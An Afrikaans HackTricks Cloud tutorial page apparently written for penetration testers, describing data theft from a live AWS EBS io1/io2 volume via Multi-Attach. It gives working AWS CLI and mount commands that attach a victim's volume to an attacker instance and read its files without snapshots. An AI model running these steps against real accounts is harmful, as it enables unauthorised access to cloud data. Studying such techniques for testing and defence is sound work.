AWS - Regstreekse data-diefstal via EBS Multi-Attach
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Opsomming
Gebruik EBS Multi-Attach om te lees vanaf ân lewendige io1/io2 data volume deur dieselfde volume aan ân aanvaller-beheerde instance in dieselfde Availability Zone (AZ) te koppel. Die gedeelde volume slegs leesbaar te mount gee onmiddellike toegang tot in-gebruik lĂȘers sonder om snapshots te skep.
Vereistes
- Teiken volume: io1 of io2 geskep met
--multi-attach-enabledin dieselfde AZ as die aanvaller-instance. - Permissies:
ec2:AttachVolume,ec2:DescribeVolumes,ec2:DescribeInstancesop die teiken volume/instances. - Infrastruktuur: Nitro-gebaseerde instance-tipes wat Multi-Attach ondersteun (C5/M5/R5 families, ens.).
Aantekeninge
- Mount read-only met
-o ro,noloadom die risiko van korrupsie te verminder en journal replays te vermy. - Op Nitro-instances openbaar die EBS NVMe-toestel ân stabiele
/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...pad (helper hieronder).
Berei ân Multi-Attach io2 volume voor en koppel dit aan die slagoffer
Voorbeeld (skep in us-east-1a en koppel aan die slagoffer):
AZ=us-east-1a
# Create io2 volume with Multi-Attach enabled
VOL_ID=$(aws ec2 create-volume \
--size 10 \
--volume-type io2 \
--iops 1000 \
--availability-zone $AZ \
--multi-attach-enabled \
--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
--query 'VolumeId' --output text)
# Attach to victim instance
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
Op die slagoffer, format/mount die nuwe volume en skryf sensitiewe data (illustreerend):
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkfs.ext4 -F "$DEV"
sudo mkdir -p /mnt/shared
sudo mount "$DEV" /mnt/shared
echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
sudo sync
Koppel dieselfde volume aan die aanvaller-instansie
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
Mount read-only op die aanvaller en lees data
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkdir -p /mnt/steal
sudo mount -o ro,noload "$DEV" /mnt/steal
sudo cat /mnt/steal/secret.txt
Verwagte resultaat: Dieselfde VOL_ID toon meerdere Attachments (victim and attacker) en die attacker kan lĂȘers lees wat deur die victim geskryf is sonder om enige snapshot te skep.
aws ec2 describe-volumes --volume-ids $VOL_ID \
--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
Hulp: vind die NVMe-toestelpad volgens Volume ID
Op Nitro instances, gebruik die stabiele by-id path wat die volume id insluit (verwyder die streep na vol):
VOLNOHYP="vol${VOL_ID#vol-}"
ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...
Impact
- Onmiddellike lees-toegang tot lewendige data op die teiken EBS-volume sonder om snapshots te genereer.
- Indien gemount read-write, kan die aanvaller die slagoffer se lĂȘerstelsel manipuleer (risiko van korrupsie).
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

